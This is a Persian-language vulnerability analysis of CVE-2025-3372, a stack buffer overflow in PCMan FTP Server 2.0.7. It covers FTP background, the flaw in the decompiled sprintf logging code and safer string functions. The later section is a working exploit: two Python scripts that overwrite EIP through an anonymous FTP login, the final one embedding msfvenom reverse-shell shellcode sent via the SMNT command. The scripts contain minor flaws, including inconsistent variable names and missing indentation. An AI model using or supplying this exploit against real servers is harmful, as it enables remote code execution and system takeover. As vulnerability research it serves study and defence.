CVE-2025-3372 – تحلیل آسیب‌پذیری سرریز بافر در نرم‌افزار PCMan

در این سند به تحلیل آسیب‌پذیری CVE-2025-3372 که منجر به Buffer Overflow در نرم‌افزار PCMan می‌شود، پرداخته شده است

نویسنده: مهدی داودآبادی فراهانی

تاریخ انتشار: 23 اردیبهشت 1404

فهرست

اطلاعات اجمالی آسیب‌پذیری

شماره آسیب پذیریCVE-2025-3372
امتیاز (CVSS)7.3
مولفه درگیرCommand Handler / Log writer
نوع آسیب پذیریStack Buffer Overflow
قابلیت در صورت اکسپلویتاجرای شل‌کد، و گرفتن دسترسی به کاربر سطح بالا در سیستم میزبان

تحلیلات از پیش ارائه شده

نام تحلیلگرتاریخ انتشارلینک
Fernando Mengali6-Apr-25https://fitoxs.com/exploit/01-exploit.txt
Fernando Mengali7-Apr-25https://www.cve.org/CVERecord?id=CVE-2025-3372

مقدمه

در این سند، یکی از آسیب‌پذیری‌های مهم در نرم‌افزار PCMan FTP Server نسخه‌ی 2.0.7 مورد تحلیل قرار گرفته است. این آسیب‌پذیری از نوع سرریز بافر (Buffer Overflow) و خرابی حافظه (Memory Corruption) است که به مهاجم اجازه می‌دهد از راه دور و بدون احراز هویت، داده‌ای با اندازه بیش از حد مجاز به برنامه ارسال کند. در نتیجه، محتوای ارسالی در حافظه روی استک نوشته شده و با عبور از محدوده‌ی بافر، مقادیر حساس از جمله ثبات EIP را بازنویسی می‌کند.

با کنترل مقدار EIP، مهاجم می‌تواند مسیر اجرای برنامه را منحرف کرده و اجرای کد دلخواه خود را روی سیستم قربانی ممکن سازد. این نوع آسیب‌پذیری در دسته‌ی افزایش دسترسی محلی (Local Privilege Escalation) یا در سناریوهای خاص، اجرای کد از راه دور (Remote Code Execution) قرار می‌گیرد.

در ادامه، ضمن تحلیل دقیق نحوه‌ی عملکرد تابع آسیب‌پذیر و بررسی محل قرارگیری آن در معماری نرم‌افزار، چگونگی بهره‌برداری از این آسیب‌پذیری برای دستیابی به کنترل کامل سیستم توضیح داده شده است.

FTP Server چیست؟

File Transfer Protocol Server سرور که به اختصار به آن FTP Server می‌گویند، یک نرم‌افزار سروری تخصصی است که امکان انتقال امن و مدیریت فایل‌ها را در بستر شبکه‌های مبتنی بر پروتکل TCP/IP فراهم می‌آورد. این نرم‌افزار از پروتکل FTP استفاده می‌کند، پروتکلی استاندارد که در لایه شبکه فعالیت می‌کند و بستری ایمن برای تبادل داده بین سرور و کلاینت در معماری کلاینت-سرور ایجاد کرده و انتقال بهینه اطلاعات در شبکه‌های گسترده مانند اینترنت را فراهم می‌سازد.

کاربرد سرورهای FTP

سرورهای FTP به عنوان راهی برای انتقال فایل در سطح اینترنت استفاده می‌شوند. این سرورها عمدتاً دو عملکرد اساسی ارسال و دریافت را ارائه می‌دهند که به کاربران امکان آپلود فایل‌ از دستگاه کلاینت به سرور و دانلود فایل‌ها از سرور به دستگاه کلاینت را می‌دهد. مهم‌ترین کاربردهای سرور FTP عبارتند از:

  • انتقال فایل‌های حجیم:
    • شرکت‌ها معمولاً در اشتراک‌گذاری فایل‌های حجیم از طریق ایمیل با مشکل مواجه می‌شوند. سرور FTP این امکان را فراهم می‌کند که سازمان‌ها بتوانند فایل‌های حجیم را بدون دردسر انتقال دهند.
  • افزایش امنیت:
    • مهم‌ترین دلیل استفاده از سرورهای FTP، تأمین امنیت بالا در انتقال داده‌های حساس است. این سرورها از پروتکل‌های امن مانند SFTP و FTPS پشتیبانی می‌کنند که لایه‌های امنیتی اضافی و رمزنگاری end-to-end را ارائه می‌دهند.
  • بهینه‌سازی گردش کار:
    • سرورهای FTP به سازمان‌ها کمک می‌کنند تا فرآیند اشتراک‌گذاری فایل‌ها را ساده‌تر کنند. با استفاده از این سرورها، کاربران می‌توانند حجم زیادی از داده‌ها را به جای فایل‌های تکی انتقال دهند. ذخیره‌سازی متمرکز فایل‌ها نیز زمان جستجو را کاهش می‌دهد.

 

  • کنترل دقیق دسترسی‌ها:
    • سرورهای FTP امکان مدیریت هوشمند دسترسی‌ها را فراهم می‌کنند. مدیران سیستم می‌توانند سطوح دسترسی مختلفی برای کاربران تعریف کنند تا مشخص شود چه کسانی می‌توانند فایل‌ها را ویرایش، آپلود، دانلود یا به اشتراک بگذارند.
  • بازیابی اطلاعات پس از حوادث:
    • یک سرور FTP کارآمد تضمین می‌کند که داده‌های سازمانی در صورت بروز حوادث از بین نروند و پشتیبان‌گیری خودکار و مداوم، امکان ذخیره‌سازی داده‌ها در مکان‌های مختلف و بازیابی سریع آن‌ها را فراهم می‌کند.

انواع FTP

انواع متداول پروتکل‌ FTP عبارت‌اند از پروتکل FTPS و SFTP که در ادامه به توضیح هر کدام خواهیم پرداخت. هر دو پروتکل FTPS و SFTP از الگوریتم‌های رمزنگاری پیشرفته استفاده می‌کنند، اما در معماری و روش پیاده‌سازی تفاوت‌های اساسی دارند که انتخاب بین آنها بستگی به نیازهای امنیتی و زیرساختی سازمان دارد.

پروتکل FTP Secure (FTPS)

پروتکل FTP Secure یا به اختصار FTPS، نسخه پیشرفته و ایمن‌شده پروتکل سنتی FTP محسوب می‌گردد. این پروتکل با بهره‌گیری از مکانیزم‌های رمزنگاری SSL/TLS، سطح امنیتی انتقال فایل‌ها را به میزان قابل توجهی ارتقاء می‌دهد.

مزایای کلیدی

مزایای کلیدی پروتکل FTPS عبارتند از:

  • پیاده‌سازی رمزنگاری دوطرفه برای محافظت از داده‌ها
  • پشتیبانی همزمان از پروتکل‌های SSL و TLS
  • حفظ سازگاری کامل با سیستم‌های مبتنی بر FTP معمولی
  • امکان انتخاب سطح امنیتی متناسب با نیاز سازمان‌ها

پروتکل SSH FTP (SFTP)

پروتکل SSH FTP یا به اختصار SFTP به عنوان یک زیرسیستم امن از مجموعه پروتکل SSH، روشی کارآمد و ایمن برای انتقال فایل در شبکه‌های راه‌دور ارائه می‌دهد.

مزایای کلیدی

مزایای کلیدی پروتکل SFTP عبارتند از:

  • رمزنگاری یکپارچه برای کلیه داده‌ها و دستورات
  • استفاده از کانال ارتباطی امن و یکپارچه مبتنی بر SSH
  • طراحی ویژه بسته‌های باینری برای انتقال کارآمد
  • مقاومت بالا در برابر انواع حملات سایبری
  • پشتیبانی از احراز هویت چندعاملی
  • امکان مدیریت متمرکز دسترسی‌ها

مقایسه حالت‌های فعال و غیرفعال در FTP

به طور استاندارد، هر ارتباط FTP شامل دو کانال مجزا است؛ یک کانال فرمان (کنترل) و دیگری کانال داده. کانال کنترل مخصوص تبادل دستورات است در حالی که کانال داده مسئول انتقال فایل‌ها و اطلاعات می‌باشد. مدیران شبکه می‌توانند سرور FTP را در یکی از دو حالت فعال یا غیرفعال پیکربندی کنند که در ادامه به توضیح آن‌ها خواهیم پرداخت.

حالت فعال (Active Mode)

این حالت که در نسخه‌های اولیه FTP به عنوان تنظیمات پیش‌فرض شناخته می‌شد، هنوز هم در بسیاری از سرورها قابل استفاده است. در این روش، اگرچه اتصال کنترل توسط کلاینت برقرار می‌شود، اما تمامی اتصالات داده از سمت سرور به کلاینت آغاز می‌گردد. حالت فعال عموماً در شبکه‌های بدون فایروال یا در فایروال‌های هوشمندی که قادر به تشخیص پروتکل FTP و باز کردن خودکار پورت‌های مورد نیاز بین سرور و کلاینت هستند، کارایی دارد. این حالت به عنوان “فعال” شناخته می‌شود زیرا که کلاینت به صورت دینامیک یک پورت را باز کرده و در حالت انتظار قرار می‌گیرد، در حالی که سرور به صورت فعالانه به این پورت متصل می‌شود. استفاده از این حالت تنها در مواردی توصیه می‌شود که با سیستم‌های قدیمی سروکار داریم.

حالت غیرفعال (Passive Mode)

در این روش، هر دو اتصال کنترل و داده از سمت کلاینت به سرور آغاز می‌شوند. این حالت با عنوان “حالت سازگار با فایروال (Firewall-Friendly)” نیز شناخته می‌شود زیرا در محیط‌های دارای فایروال به راحتی قابل پیاده‌سازی است. دلیل نامگذاری آن به “غیرفعال” این است که سرور پس از باز کردن پورت مورد نظر، به صورت غیرفعال منتظر اتصال از سمت کلاینت می‌ماند. حالت غیرفعال گزینه ایده‌آلی برای انتقال فایل محسوب می‌شود چرا که:

  • امنیت بیشتری دارد
  • هیچگونه اتصال ورودی از اینترنت به سمت کلاینت‌های داخلی مجاز نیست

برخلاف حالت فعال که نیازمند پیکربندی فایروال‌های متعدد است، در این حالت تنها نیاز به تنظیم فایروال سرور وجود دارد.

تصویر 1: نمایش دو حالت فعال و غیرفعال در FTP

پروتکل FTP ناشناس (Anonymous FTP) چیست؟

پروتکل FTP ناشناس روشی است که به کاربران اجازه می‌دهد بدون نیاز به احراز هویت در سرور به فایل‌های عمومی موجود در آن سرور راه دور دسترسی پیدا کنند. کاربران می‌توانند از برنامه‌های FTP یا رابط خط فرمان FTP استفاده کرده و “anonymous” را به عنوان نام کاربری خود وارد کنند. گذرواژه برای وارد شدن با این نام کاربری مهم نیست.

FTP ناشناس به کاربران این اجازه را می‌دهد تا بتوانند از یک سرور FTP استفاده کنند، حتی اگر نام کاربری و گذرواژه مخصوص به خود نداشته باشند. این روش، دسترسی بدون محافظت به اطلاعات خاصی از یک سیستم راه دور را بدون نیاز به وارد کردن گذرواژه امکان‌پذیر می‌سازد. این اطلاعات معمولاً به صورت عمومی در دسترس هستند، به این معنی که هر کسی که وارد سرور می‌شود می‌تواند آن‌ها را ببیند و بخواند. با این حال، این سرور است که تعیین می‌کند چه اطلاعاتی و به چه میزان برای دسترسی عمومی مناسب است. شخص یا سازمانی که مالک اطلاعات و سرور است، موظف است اطلاعات خود را کنترل کرده و اطمینان حاصل کند که تنها اطلاعات مناسب برای دسترسی عموم در دسترس قرار می‌گیرند.

برای دسترسی به اطلاعات، کاربران می‌توانند با نام کاربری “anonymous” و با هر گذرواژه‌ای وارد سرور میزبان FTP شوند. حساب کاربری معمولاً هر رشته‌ای، از جمله آدرس ایمیل کاربر را به عنوان گذرواژه می‌پذیرد. پس از ورود، کاربر حق دسترسی محدودی به فایل‌های موجود در سرور خواهد داشت. سرور همچنین محدودیت‌های عملیاتی را اعمال می‌کند تا فقط عملیات خاصی در FTP ناشناس مجاز باشد. محدودیت‌های عملیاتی مجاز شامل موارد زیر است:

  • ورود به سرور FTP
  • فهرست کردن محتویات یا فایل‌های موجود در تعداد محدودی از دایرکتوری‌ها
  • بازیابی فایل‌ها و محتوای موجود در این دایرکتوری‌ها

آسیب پذیری Buffer Overflow

سرریز بافر آسیب‌پذیری است که به خرابی حافظه (Memory Corruption) منجر می‌شوند و می‌توان آن‌ها را بر اساس نوع، که معمولاً به آن “نسل (Generation)” گفته می‌شود، دسته‌بندی کرد. امروزه دو نوع بسیار مهم آن سرریز بافر استک (Stack Overflow) و سرریز بافر هیپ (Heap Overflow) هستند. سرریز بافر زمانی رخ می‌دهد که داده‌های بیشتری از ظرفیت یک بافر یا آرایه در آن کپی شود.

همانطور که از نام آن پیداست، سرریز بافر استک در ناحیه استک حافظه یک پروسه رخ می‌دهد. استک‌فریم یک ناحیه حافظه اختصاص‌یافته است که داده‌ها مرتبط با فراخوانی‌های پروسه را ذخیره می‌کند. هنگامی که داده‌های بیشتری از آنچه یک بافر استک می‌تواند در خود جای دهد در آن قرار می‌گیرد، ممکن است حافظه استک مجاور را بازنویسی کند. اگر یک کاربر بتواند داده‌ها و مقدار ورودی را کنترل کند، این امکان وجود دارد که داده‌ها استک را دستکاری کند، که در نهایت می‌تواند منجر به کنترل جریان اجرای پروسه شود.

اطلاعات بیشتر درباره استک

اطلاعات مربوط به هر تابعی که در یک فرآیند اجرا می‌شود، روی استک نمایش داده می‌شود. این سازماندهی اطلاعات به عنوان یک Stack Frame شناخته می‌شود. یک Stack Frame شامل داده‌های تابع و همچنین یک آدرس بازگشت است که برای تعیین محل فراخوان‌کننده (Caller) استفاده می‌شود. هنگامی که یک تابع به فراخوان‌کننده خود بازمی‌گردد، آدرس بازگشت از استک برداشته شده و به ثبات Instruction Pointer منتقل می‌شود.

اگر بتوانید بافر استک را سرریز کرده و آدرس بازگشت را با یک مقدار دلخواه بازنویسی کنید، می‌توانید Instruction Pointer را پس از بازگشت تابع کنترل کنید. علاوه بر این، روش‌های دیگری نیز برای بهره‌برداری از سرریز بافر استک وجود دارد، مانند دستکاری اشاره‌گرهای تابع، آرگومان‌های تابع، یا سایر داده‌ها مهم ذخیره شده روی استک.

[1] Caller

معرفی برنامه PCMan FTP Server

سرور PCMan FTP یک نرم‌افزار رایگان است که عمدتاً برای مبتدیانی طراحی شده که با کامپیوتر آشنایی ندارند و هدف آن، راه‌اندازی آسان یک سرور FTP ساده است. عملکرد و امنیت دغدغه اصلی این نرم‌افزار نیستند، بلکه سادگی مهم‌ترین ویژگی آن محسوب می‌شود.

نسخه انگلیسی این برنامه که آخرین به‌روزرسانی آن مربوط به 2014 می‌باشد. شرکت توسعه‌دهنده این نرم‌افزار، pcmanftpd.sf.net است و سایت آن دیگر در دسترس نیست. آخرین نسخه منتشرشده توسط توسعه‌دهنده، نسخه 2.0.7 می‌باشد.

محل وقوع آسیب‌پذیری CVE-2025-3372

آسیب‌پذیری CVE-2025-3372 در فرآیند ثبت کردن (Log) فعالیت‌های کاربران، در هنگامی که کاربر در حال ارسال کامند به سمت سرور می‌باشد رخ می‌دهد، مشروط بر اینکه اندازه ورودی کاربر از اندازه بافر یعنی مقدار 2048 بایت بیشتر باشد. کد تابع آسیب‌پذیر به شرح زیر است:

struct CWinThread *_ thiscall sub_403E60(_DWORD *this, const char *a2) {
  struct CWinThread *result;      // eax
  int v4;                         // eax
  const char *v5;                 // eax
  DWORD v6;                       // eax
  struct CWinThread *Thread;      // eax
  struct CWinThread *v8;          // eax
  struct _SYSTEMTIME SystemTime;  // [esp+8h] [ebp-814h] BYREF
  DWORD NumberOfBytesWritten;     // [esp+18h] [ebp-804h] BYREF
  char Buffer[2048];              // [esp+1Ch] [ebp-800h] BYREF

  if (dword_443540 | | (result = (struct CWinThread *)dword_443548) != 0) {
    GetLocalTime(&SystemTime);
    v4 = this[9];
    if (v4)
      v5 = *(const char **)(v4 + 8);
    else
      v5 = (const char *)this[1];
    v6 = sprintf(Buffer, "%d/%d/%d [%02d: %02d] (05d) %s> %s\r\n",
                 SystemTime.wYear, SystemTime.wMonth, SystemTime.wDay,
                 SystemTime.wHour, SystemTime.wMinute, this[3], v5, a2);
    if (hFile != (HANDLE)-1)
      WriteFile(hFile, Buffer, v6, &NumberOfBytesWritten, 0);
    result = (struct CWinThread *)dword_443548;
    if (dword_443548) {
      result = AfxGetThread();
      if (result) {
        result = (struct CWinThread *)(*(int(_thiscall **)(
            struct CWinThread *))(*(_DWORD *)result + 116))(result);
        if (result) {
          if (isdigit(*a2)) {
            Thread = AfxGetThread();
            if (Thread)
              (*(void(_thiscall **)(struct CWinThread *))(*(_DWORD *)Thread +
                                                          116))(Thread);
            return (struct CWinThread *)sub_409CF0(0x8000, (LPARAM)Buffer);
          } else {
            v8 = AfxGetThread();
            if (v8)
              (*(void(_thiscall **)(struct CWinThread *))(*(_DWORD *)v8 + 116))(
                  v8);
            return (struct CWinThread *)sub_409CF0(0x800000, (LPARAM)Buffer);
          }
        }
      }
    }
  }
  return result;
}

تصویر 2: کد تابع آسیب‌پذیر (مهندسی معکوس شده توسط IDA)

از آنجایی که به کد‌منبع برنامه دسترسی نداشتیم برای به دست آوردن کد این تابع از دیکامپایلر استفاده شده است و ممکن است با نسخه اصلی کمی متفاوت باشد. همانطور که گفته شد این تابع مسئول ثبت فعالیت کاربران است. در این تابع در مرحله اول با استفاده از تابع GetLocalTime زمان و تاریخ سیستم دریافت شده و پیغامی شامل موارد زیر ساخته می‌شود:

  • تاریخ و زمان
  • شناسه پروسه یا thread
  • نام کاربری
  • ورودی کاربر (دستور کاربر)

در ادامه پیغام ساخته شده درون متغیر Buffer قرار می‌گیرد تا با استفاده از تابع WriteFile درون فایل مورد نظر نوشته شود. اما دلیل وقوع اسیب‌پذیری در این تابع چیست؟ این آسیب‌پذیری به دلیل استفاده از تابع sprintf ایجاد شده است.

تصویر 3: نمونه‌ای از پیغام ثبت فعالیت

بررسی ساختار تابع sprintf

sprintf مخفف “String Print” است. این تابع به جای نمایش خروجی در کنسول، آن را در یک بافر کاراکتری ذخیره می‌کند. سینتکس این تابع به شرح زیر است:

int sprintf(char *buffer, const char *format - string, argument - list)

تصویر 4: سینتکس تابع sprintf

این تابع به‌گونه‌ای طراحی شده است که در آرگومان اول، یک بافر از نوع رشته‌ی کاراکتری دریافت می‌کند که خروجی نهایی در آن ذخیره می‌شود؛ آرگومان دوم، رشته‌ی قالب (format string) است که نحوه‌ی نمایش داده‌ها را مشخص می‌کند؛ و در ادامه، آرگومان‌های متغیری را می‌پذیرد که مقادیر آن‌ها بر اساس قالب، در رشته‌ی نهایی قرار می‌گیرند.

تابع sprintf معمولاً برای قالب‌بندی رشته‌هایی استفاده می‌شود که شامل ترکیب متن با اعداد، متغیرها و سایر آرگومان‌ها هستند، مانند:

#include <studio.h>

char buffer[200];
int x = 0;

int main() {
  x = 9;
  sprintf(buffer, "%d \n", x);
}

تصویر 5: نمونه‌ برنامه‌ای که از تابع sprintf استفاده کرده است

کاربردهای تابع sprint

از sprintf() معمولاً برای کارهای زیر استفاده می‌شود:

  • ترکیب رشته‌ها: کنار هم قرار دادن چند رشته در یک رشته واحد.
  • قالب‌بندی خروجی به صورت شخصی‌سازی شده: تعیین شکل نمایش داده‌ها (مثل تعداد رقم اعشار).
  • جایگزینی متغیرها: قرار دادن مقدار متغیرها در داخل یک رشته.
  • ساخت رشته‌ها: ایجاد رشته‌های پیچیده به صورت پویا.

این تابع روشی ساده و انعطاف‌پذیر برای ساخت رشته‌ها و کنترل شکل خروجی فراهم می‌کند. با این حال، استفاده نادرست از آن می‌تواند منجر به سرریز بافر شود که یک خطر امنیتی جدی محسوب می‌شود.

دلیل آسیب‌پذیر بودن تابع sprintf چیست؟

همان‌طور که پیش‌تر توضیح داده شد، تابع sprintf با دریافت یک رشته‌ی قالب، مقادیر آرگومان‌های بعدی را مطابق این الگو قالب‌بندی کرده و در خروجی می‌نویسد. اکنون به ساختار پیاده‌سازی‌شده در این برنامه توجه کنید.

v6 = sprintf(Buffer,  // size of the buffer is 2048
             "%d/%d/%d [%02d: 02d] (05d) %s> %s\r\n", SystemTime.wYear,
             SystemTime.wMonth, SystemTime.wDay, SystemTime.wHour,
             SystemTime.wMinute, this[3], v5,
             a2);  // <-- attacker-controlled

تصویر 6: محل وقوع آسیب‌پذیری

در این برنامه، آسیب‌پذیری از آن‌جا ناشی می‌شود که در انتهای رشته‌ی قالب از %s استفاده شده و تابع sprintf نیز تلاش می‌کند این ساختار را در بافر مقصد پیاده‌سازی کند؛ اما از آن‌جا که این تابع بدون درنظر گرفتن اندازه‌ی بافر مقصد عمل جای‌گذاری را انجام می‌دهد، امکان بروز سرریز بافر و در نتیجه آسیب‌پذیری فراهم می‌شود.

راهکار های جلو‌گیری از این رخداد چیست؟

برای اینکه از این دسته آسیب‌پذیری‌ها جلوگیری کنید، می‌‎توانید از توابع امن شده مانند snprintf و sprintf_s و دیگر توابع مشخص شده توسط مایکروسافت استفاده کنید. این توابع به برنامه‌نویس این قابلیت را می‌دهند تا با مشخص کردن حداکثر اندازه کاراکترهای قابل دریافت، از آسیب‌پذیریِ سریز بافر این تابع، جلوگیری کنند.

سینتکس تابع sprintf_s به شرح زیر است:

int sprintf_s(char *buffer, size_t sizeOfBuffer, const char *format, ...);

تصویر 7: سینتکس تابع sprintf_s

همچنین در تصویر زیر نیز می‌توانید نمونه‌ای از استفاده آن در عمل را مشاهده کنید:

#include <stdio.h>

int main(void) {
  char buffer[200], s[] = "computer", c = 'l';
  int i = 35, j;
  float fp = 1.7320534f;

  // Format and print various data:
  j = sprintf_s(buffer, 200, "String:%s\n", s);
  j += sprintf_s(buffer + j, 200 - j, "Character: %c\n", c);
  j += sprintf_s(buffer + j, 200 - j, "Integer:%d\n", i);
  j += sprintf_s(buffer + j, 200 - j, "Real:%f\n", fp);

  printf_s("Output:\n%s\ncharacter count =%d\n", buffer, j);
}

تصویر 8: نمونه‌ استفاده‌ای از تابع sprintf_s در عمل

نحوه اکسپلویت آسیب‌پذیری CVE-2025-3372

به منظور تریگر کردن نقطه آسیب‌پذیر، صرفا نیازمند یک برنامه ساده پایتونی و استفاده از برنامه‌نویسی شبکه هستیم. به کد زیر توجه کنید:

import socket
import time

target_ip = "192.168.1.132"
target_port = 21

# Exploit parameters
offset = b"A" * 2006
eip = b"\xd9\x2f\xe3\x74"
nops = b"\x90" * 20
payload = offset + eip + nops + b'\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc'

try:
print("[+] Connecting to {}:{} ... ".format(target_ip, target_port))
S = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))

banner = s.recv(1024)
print("[+] Banner: {}".format(banner.decode(errors='ignore').strip()))

s.send(b"USER anonymous\r\n")
time.sleep(1)
s.recv(1024)

s.send(b"PASS anonymous\r\n")
time.sleep(1)
s.recv(1024)

print("[+] Sending malicious payload via SMNT command ... ")
s.send(b"MKDIR " + payload + b"\r\n")
time.sleep(1)

print("[+] Exploit sent! Check your listener.")
s.close()

except Exception as e:
print("[-] Exploit failed: {}".format(str(e)))

تصویر 9: فعال کردن نقطه آسیب‌پذیر با استفاده از python

در این اکسپلویت ابتدا IP سیستم هدف که سرور PCMan FTP روی آن اجرا شده است و پورت مورد استفاده برای سرور FTP را مشخص می‌کنیم. برای ایجاد سرریز بافر در هنگام اجرای برنامه و با توجه به تصویر 6، برای آن که از اندازه بافر که مقدار آن 2048 است عبور کنیم. اگر نام متغییری که به a2 (دستور کاربر) منتقل می‌شود را payload بگذاریم، با احتساب مقادیر موجود در آن (تاریخ، ساعت، شناسه پروسه و کارکترهای جداکننده آن‌ها مانند فاصله، پرانتر، کروشه و فلش) نیاز است که payload ما ساختاری شبیه زیر داشته باشد:

2006 بایت کاراکتر ‘A’ بعلاوه مقدار مشخصی از eip بعلاوه بیست عدد nop (به دلیل محاسبات در مموری برای اجرای شل‌کد) و 8 عدد int3 (برای بررسی اجرای شلکد)

در این حالت جمع مقادیر نهایی در متغیر payload بیش از 2048 بایت است.

حال با اجرای برنامه، به سرور متصل شده، بنر سرور را دریافت کرده و سپس با استفاده از نام‌کاربری و پسورد anonymous وارد این حساب کاربری می‌شویم.

تصویر 10: نمونه‌ای از بنر سرور

در ادامه دستور MKDIR به payload را به سمت سرور ارسال کرده، یک ثانیه وقفه ایجاد می‌کنیم و سپس ارتباط را قطع می‌کنیم. در این حالت روند اجرایی برنامه تغییر پیدا کرده و برنامه متوقف می‌شود، که نشان‌دهنده موفقیت‌آمیز بودن اجرای اکسپلویت و وجود آسیب‌پذیری سرریز بافر استک است.

بررسی اکسپلویت

با استفاده از دیباگر Immunity Debugger، برنامه را اجرا کرده و اکسپلویت را اجرا می‌کنیم تا تغییرات را بررسی کنیم.

تصویر 11: نمای اجرای برنامه و دستورات اسمبلی قبل از اجرای اکسپلویت
تصویر 12: نمای ریجسترها و فلگ‌ها قبل از اجرای اکسپلویت
تصویر 13: نمای استک قبل از اجرای اکسپلویت

در تصاویر فوق می‌‎توانید نمای اجرای استاندارد برنامه را مشاهده کنید که در آن برنامه در حالت آماده به کار قرار گرفته و فضای استک و مقادیر ریجسترها به صورت طبیعی است. پس از اجرای اکسپلویت و دادن ورودی مخرب به عنوان ورودی به سرور، آدرس بازگشت بازنویسی شده و برنامه متوقف می‌شود.

تصویر 14: نمای اجرای برنامه و متوقف شدن در دستور int3
تصویر 15: نمای ریجسترها پس از اجرای اکسپلویت
تصویر 16: نمای استک پس از اجرای اکسپلویت
تصویر 17: نمای هگزدامپ حافظه پس از اجرای اکسپلویت

پس از اجرای اکسپلویت برنامه از روند اجرایی استاندارد خارج شده زیرا همانطور که در تصویر 15 می‌توانید مشاهده کنید Last Error برابر با مقدار ERROR_INVALID_HANDLE است زیرا مقداری به برنامه به عنوان ورودی داده شده است که در حالت عادی قرار نبوده آن را دریافت کند. در تصویر 16 و 17 نیز به ترتیب نمای استک و حافظه را مشاهده می‌کنید که حاوی Payload ما است.

از آنجایی که در اکسپلویت از دستور اسمبلی INT3 استفاده کرده بودیم پس از تغییر جریان اجرای برنامه، برنامه روی این دستورات توقف پیدا می‌کند، حال به منظور دسترسی گرفتن به سیستم تارگت می‌توانید در پیلود خود به جای استفاده از INT3 از شل کد استفاده کنیم. برای نمونه در زیر می‌توانید شل کد ساخته شده با استفاده از msfvenom را مشاهده کنید.

import socket
import time

target_ip = "192.168.1.132"
target_port = 21

# Reverse shell payload generated with msfvenom
buf = b""
buf += b"\xba\x95\x9a\xbb\x3f\xdd\xc1\xd9\x74\x24\xf4\x58"
buf += b"\x31\xc9\xb1\x52\x31\x50\x12\x03\x50\x12\x83\x55"
buf += b"\x9e\x59\xca\xa9\x77\x1f\x35\x51\x88\x40\xbf\xb4"
buf += b"\xb9\x40\xdb\xbd\xea\x70\xaf\x93\x06\xfa\xfd\x07"
buf += b"\x9c\x8e\x29\x28\x15\x24\x0c\x07\xa6\x15\x6c\x06"
buf += b"\x24\x64\xa1\xe8\x15\xa7\xb4\xe9\x52\xda\x35\xbb"
buf += b"\x0b\x90\xe8\x2b\x3f\xec\x30\xc0\x73\xe0\x30\x35"
buf += b"\xc3\x03\x10\xe8\x5f\x5a\xb2\x0b\xb3\xd6\xfb\x13"
buf += b"\xd0\xd3\xb2\xa8\x22\xaf\x44\x78\x7b\x50\xea\x45"
buf += b"\xb3\xa3\xf2\x82\x74\x5c\x81\xfa\x86\xe1\x92\x39"
buf += b"\xf4\x3d\x16\xd9\x5e\xb5\x80\x05\x5e\x1a\x56\xce"
buf += b"\x6c\xd7\x1c\x88\x70\xe6\xf1\xa3\x8d\x63\xf4\x63"
buf += b"\x04\x37\xd3\xa7\x4c\xe3\x7a\xfe\x28\x42\x82\xe0"
buf += b"\x92\x3b\x26\x6b\x3e\x2f\x5b\x36\x57\x9c\x56\xc8"
buf += b"\xa7\x8a\xe1\xbb\x95\x15\x5a\x53\x96\xde\x44\xa4"
buf += b"\xd9\xf4\x31\x3a\x24\xf7\x41\x13\xe3\xa3\x11\x0b"
buf += b"\xc2\xcb\xf9\xcb\xeb\x19\xad\x9b\x43\xf2\x0e\x4b"
buf += b"\x24\xa2\xe6\x81\xab\x9d\x17\xaa\x61\xb6\xb2\x51"
buf += b"\xe2\x79\xea\x58\x76\x11\xe9\x5a\x67\xbe\x64\xbc"
buf += b"\xed\x2e\x21\x17\x9a\xd7\x68\xe3\x3b\x17\xa7\x8e"
buf += b"\x7c\x93\x44\x6f\x32\x54\x20\x63\xa3\x94\x7f\xd9"
buf += b"\x62\xaa\x55\x75\xe8\x39\x32\x85\x67\x22\xed\xd2"
buf += b"\x20\x94\xe4\xb6\xdc\x8f\x5e\xa4\x1c\x49\x98\x6c"
buf += b"\xfb\xaa\x27\x6d\x8e\x97\x03\x7d\x56\x17\x08\x29"
buf += b"\x06\x4e\xc6\x87\xe0\x38\xa8\x71\xbb\x97\x62\x15"
buf += b"\x3a\xd4\xb4\x63\x43\x31\x43\x8b\xf2\xec\x12\xb4"
buf += b"\x3b\x79\x93\xcd\x21\x19\x5c\x04\xe2\x39\xbf\x8c"
buf += b"\x1f\xd2\x66\x45\xa2\xbf\x98\xb0\xe1\xb9\x1a\x30"
buf += b"\x9a\x3d\x02\x31\x9f\x7a\x84\xaa\xed\x13\x61\xcc"
buf += b"\x42\x13\xa0"

# Exploit parameters
offset = b"A" * 2006
eip = b"\xd9\x2f\xe3\x74"
nops = b"\x90" * 20
payload = offset + eip + nops + buf

try:
print("[+] Connecting to {}:{} ... ".format(target_ip, target_port))
S = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))

banner = s.recv(1024)
print("[+] Banner: {}".format(banner.decode(errors='ignore').strip()))

s.send(b"USER anonymous\r\n")
time.sleep(1)
s.recv(1024)

s.send(b"PASS anonymous\r\n")
time.sleep(1)
s.recv(1024)

print("[+] Sending malicious payload via SMNT command ... ")
s.send(b"SMNT " + payload + b"\r\n")
time.sleep(1)

print("[+] Exploit sent! Check your listener.")
s.close()

except Exception as e:
print("[-] Exploit failed: {}".format(str(e)))

تصویر 18: اکسپلویت نهایی

منابع